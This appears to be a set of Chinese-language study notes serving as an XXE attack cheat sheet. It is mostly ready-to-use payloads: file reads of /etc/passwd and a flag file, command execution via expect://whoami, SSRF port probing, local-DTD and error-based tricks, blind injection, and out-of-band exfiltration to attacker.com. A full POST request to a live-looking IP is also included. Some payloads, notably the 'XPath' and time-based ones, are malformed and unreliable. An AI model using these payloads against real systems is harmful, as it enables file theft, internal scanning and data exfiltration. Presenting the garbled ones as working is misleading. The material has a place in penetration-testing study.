<aside> 💡
XXE危害1:读取任意文件
</aside>
XXE基础里面有,分为有回显与无回显两种。
**<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE creds [
        <!ENTITY goodies SYSTEM "file:///文件路径" > ]>
<creds>&goodies;</creds>**
        POST传输
**POST /parse HTTP/1.1
Host: 47.76.152.109:60088
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 146
xml=<?xml+version="1.0"?>
<!DOCTYPE+root+[
+<!ELEMENT+root+ANY+>
+<!ENTITY+xxe+SYSTEM+"file:///flag"+>]>
<root><name>%26xxe;</name></root>
注意!!!&一定要改成%26**
        <aside> 💡
XXE危害2:执行系统命令
</aside>
***注:需要 PHP 开 expect 扩展*
 
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE creds [
        <!ENTITY goodies SYSTEM "expect://whoami" > ]>
<creds>&goodies;</creds>**
        <aside> 💡
XXE危害3:内网探测**/ssrf**
</aside>
利用http://协议,也就是可以发起http请求,利用该请求去探查内网,进行SSRF攻击。
**<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE creds [
    <!ENTITY goodies SYSTEM "<http://127.0.0.1:80/Test/test.txt>" >
]>
<creds>
    &goodies;
</creds>**
**<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE creds [
    <!ENTITY goodies SYSTEM "<http://127.0.0.1:81/Test/test.txt>" >
]>
<creds>
    &goodies;
</creds>**
        
<aside> 💡
XXE报错注入
</aside>
1.文件路径泄露
攻击者可能构造一个导致服务器尝试打开不存在文件的实体,从而在错误消息中包含文件路径或其他上下文信息。这种情况下,报错注入的Payload可能是:
**<!DOCTYPE test [
  <!ENTITY xxe SYSTEM "file:///non_existent_path">
]>
<root>&xxe;</root>**
        2.DTD(Document Type Definition)错误利用
利用DTD错误,如无限递归或未知实体引用,迫使XML解析器崩溃或返回详细的错误消息,其中可能包含服务器的环境信息。
**<!DOCTYPE test [
  <!ENTITY % evil SYSTEM "<http://attacker.com/evil.dtd>">
  <!ENTITY % inner "<!ENTITY % injected SYSTEM 'file:///etc/passwd'>">
  %evil;
  %inner;
]>
<root></root>**
        3.XPath注入与错误利用
如果服务器使用了可配置的XPath查询,并且在处理XML时对查询结果进行了错误处理,攻击者可以通过构造特殊的XPath表达式导致错误,从而泄露信息。
**<?xml version="1.0"?>
<!DOCTYPE poc [
  <!ENTITY % ext SYSTEM "file:///etc/passwd">
  <!ENTITY % xpath '<!ENTITY % xp "<!ENTITY % error SYSTEM 'file:///etc/passwd'>">>
  %xpath;
  %xp;
]>
<x:xmp xmlns:x="<http://www.w3.org/XML/1998/namespace>">
  <query>
    <x:select>/root/*[name()='item' and value='bad_value' or substring-after(value,'error')=%error;]</x:select>
  </query>
</x:xmp>**
        <aside> 💡
XXE本地DTD攻击
【Apache solr XML 实体注入漏洞复现(CVE-2017-12629)】
</aside>
DTD目录
**//windows
C:/Windows/System32/wbem/xml/cim20.dtd
C:/Windows/System32/wbem/xml/wmi20.dtd**
//**Apache 
file:///usr/share/xml/fontconfig/fonts.dtd
//ubuntu16.04
/opt/IBM/WebSphere/AppServer/properties/sip-app_1_0.dtd
/usr/share/libgweather/locations.dtd
/usr/share/yelp/dtd/docbookx.dtd**
        Paload:
**<?xml version="1.0" ?>
<!DOCTYPE message [
    <!ENTITY % local_dtd SYSTEM "file:///opt/IBM/WebSphere/AppServer/properties/sip-app_1_0.dtd">
    <!ENTITY % condition 'aaa)>
        <!ENTITY % file SYSTEM "file:///etc/passwd">
        <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
        %eval;
        %error;
        <!ELEMENT aa (bb'>
    %local_dtd;
]>**
        <aside> 💡
XXE的bypass
</aside>
- 禁用实体加载的绕过 :
- 有时服务器会禁用XML解析器对外部实体的加载,但可能仍允许内部实体或DTD的解析。攻击者可能通过构造内部实体绕过这一限制,如利用内部实体的递归来消耗服务器资源,实现DoS攻击。
 
 - 禁用DTD的绕过 :
- 有些服务器禁止了DTD解析,但仍可能允许XML模式(XSD)或架构的解析。攻击者可能利用XML模式中的漏洞来实现XXE攻击。
 
 - 带外(OOB, Out-of-Band)信息泄露 :
- 当服务器不返回实体内容时,攻击者可以构造实体指向攻击者控制的服务器,利用服务器端的网络行为(如发起请求)来进行信息泄露,而不依赖于服务器的直接响应。
 
 - XPath注入 :
- 如果服务器使用了XPath查询,并且这些查询基于用户输入,攻击者可能结合XXE和XPath注入,构造恶意查询来获取敏感信息或执行系统命令。
 
 - 滥用特性 :
- 攻击者可能利用XML解析器的其他特性,如
php://input伪协议、XML解析器的解析错误等,来执行攻击。 
 - 攻击者可能利用XML解析器的其他特性,如
 - 利用旧版或有已知漏洞的XML解析器 :
- 服务器可能仍在使用老旧版本的XML解析器,这些版本可能包含已知的XXE漏洞,而服务器管理员未能及时更新。
 
 
<aside> 💡
XXE的盲注
</aside>
布尔型盲注
**<!DOCTYPE test [
  <!ENTITY % file SYSTEM "file:///etc/passwd">
  <!ENTITY % true "<!ENTITY xxe SYSTEM 'file:///dev/null'>">
  %true;
]>
<root>&xxe;</root>**
        时间的盲注
**<!DOCTYPE test [
  <!ENTITY % file SYSTEM "java -classpath ../../../../../../bin/commons-httpclient-3.1.jar org.apache.commons.httpclient.HttpClient <http://attacker.com/> & sleep 5">
  <!ENTITY % true "<!ENTITY xxe SYSTEM '%file;'>">
  %true;
]>
<root>&xxe;</root>**
#如果服务器响应时间增加明显,则可能执行了耗时的系统命令。
        带外通信(Out-of-Band, OOB)利用
**<!DOCTYPE test [
  <!ENTITY % file SYSTEM "<http://attacker.com/?data=><data_to_send>">
]>
<root>&file;</root>
#<data_to_send>会被替换为实际要发送的数据,比如从受害服务器中获取的敏感信息。**
        攻击者在其自己的服务器上监听,如果接收到请求,则意味着服务器可能受到XXE攻击并执行了外部实体。